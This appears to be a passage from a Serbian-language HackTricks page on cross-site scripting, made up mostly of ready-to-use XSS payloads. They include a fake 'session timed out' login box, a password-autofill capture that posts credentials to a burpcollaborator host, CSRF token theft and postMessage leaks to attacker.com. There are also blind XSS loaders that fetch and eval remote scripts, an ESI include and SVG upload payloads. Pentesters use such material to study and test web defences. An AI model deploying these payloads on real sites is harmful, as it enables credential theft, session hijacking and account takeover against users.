<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Snimanje automatskog popunjavanja lozinki

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Kada se unese bilo koji podatak u polje za lozinku, korisničko ime i lozinka se šalju na server napadača, čak i ako klijent izabere sačuvanu lozinku i ne unese ništa, podaci će biti ekstrahovani.

Keylogger

Samo pretražujući na github-u pronašao sam nekoliko različitih:

Krađa CSRF tokena

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Krađa PostMessage poruka

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Zloupotreba servisnih radnika

{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Pristupanje Shadow DOM-u

{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}

Poligloti

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

Slepi XSS payloadi

Možete takođe koristiti: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Pristup skrivenom sadržaju

Iz ovog objašnjenja je moguće naučiti da čak i ako neke vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a je i dalje moguće pronaći nakon što je vrednost unosa REGEX-a uklonjena:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Lista Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

Zloupotreba drugih ranjivosti XSS-a

XSS u Markdown-u

Možete ubaciti Markdown kod koji će biti prikazan? Možda možete dobiti XSS! Proverite:

{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}

XSS ka SSRF-u

Imate XSS na sajtu koji koristi keširanje? Pokušajte unaprediti to u SSRF putem ubacivanja koda za uključivanje sa strane ivice sa ovim payload-om:

<esi:include src="http://yoursite.com/capture" />

Koristite ga da biste zaobišli ograničenja kolačića, XSS filtere i mnogo više!
Više informacija o ovoj tehnici možete pronaći ovde: XSLT.

XSS u dinamički kreiranom PDF-u

Ako veb stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da prevarite bota koji kreira PDF da izvrši proizvoljan JS kod.
Dakle, ako PDF kreator bot pronađe neke vrste HTML tagova, on će ih interpretirati, i možete zloupotrebiti ovu ponašanje da izazovete Server XSS.

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

Ako ne možete ubaciti HTML tagove, vredno je pokušati da ubacite PDF podatke:

{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}

XSS u Amp4Email-u

AMP, sa ciljem ubrzanja performansi veb stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi se obezbedila funkcionalnost sa naglaskom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih putem AMP komponenti.

Format AMP za Email proširuje određene AMP komponente na e-poštu, omogućavajući primaocima da direktno interaguju sa sadržajem unutar svojih e-poruka.

Primer izveštaja o XSS-u u Amp4Email-u u Gmail-u.

XSS otpremanje fajlova (svg)

Otpremite kao sliku fajl poput sledećeg (sa http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Pronađi više SVG payloada na https://github.com/allanlw/svg-cheatsheet

Razni trikovi JS-a i relevantne informacije

{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}

XSS resursi

Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno).

{% embed url="https://www.stmcyber.com/careers" %}

Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: